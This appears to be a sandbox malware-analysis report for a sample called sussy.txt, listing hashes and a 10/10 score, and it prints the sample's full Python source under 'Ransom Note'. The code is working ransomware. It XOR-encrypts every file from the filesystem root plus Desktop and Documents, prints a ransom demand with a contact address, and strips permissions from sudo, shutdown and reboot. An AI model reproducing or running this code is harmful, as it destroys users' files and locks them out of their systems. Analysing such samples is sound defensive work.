Static task
static1
Behavioral task
behavioral1
Sample
sussy.txt
Resource
win10v2004-20240508-en
10 signatures
600 seconds
General
-
Target
sussy.txt
-
Size
1KB
-
MD5
9d190828feb7a437f26c4420f832e949
-
SHA1
a5eba9cd838f7c4e9675aa1d489ceab1cdc3733c
-
SHA256
932b96aebd5c974dbc229c9c28750cbc06c3ace13a5b4e35670be7dce4a4ae22
-
SHA512
a7674d7bfaf68de344dd4f990a52cd7126c6bb2c0393672cd2de294fa7599f556023396eee4115e40e4bcc2b71244c3cee9059de1d6b69e12f5a445287be2342
Score
10/10
Malware Config
Extracted
Ransom Note
import os
import random
import string
import shutil
import subprocess
def encrypt_file(file_path, key):
with open(file_path, 'rb') as file:
data = file.read()
encrypted_data = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
with open(file_path, 'wb') as file:
file.write(encrypted_data)
def generate_key(length):
return bytes([random.randint(0, 255) for _ in range(length)])
def encrypt_system(key):
for root, dirs, files in os.walk('/'):
for file in files:
file_path = os.path.join(root, file)
try:
encrypt_file(file_path, key)
except:
pass
# Encrypt desktop files
desktop_path = os.path.expanduser("~/Desktop")
for file in os.listdir(desktop_path):
file_path = os.path.join(desktop_path, file)
try:
encrypt_file(file_path, key)
except:
pass
# Encrypt documents
documents_path = os.path.expanduser("~/Documents")
for file in os.listdir(documents_path):
file_path = os.path.join(documents_path, file)
try:
encrypt_file(file_path, key)
except:
pass
def main():
key = generate_key(16)
encrypt_system(key)
# Display ransom note
ransom_note = f"Your files have been encrypted with a strong encryption algorithm. To decrypt your files, please contact us at [email protected] and provide the following key: {key.hex()}"
print(ransom_note)
# Disable access to system settings and applications
subprocess.run(['sudo', 'chmod', '000', '/usr/bin/sudo'])
subprocess.run(['sudo', 'chmod', '000', '/usr/bin/shutdown'])
subprocess.run(['sudo', 'chmod', '000', '/usr/bin/reboot'])
if __name__ == "__main__":
main()
Emails
Signatures
Files
-
sussy.txt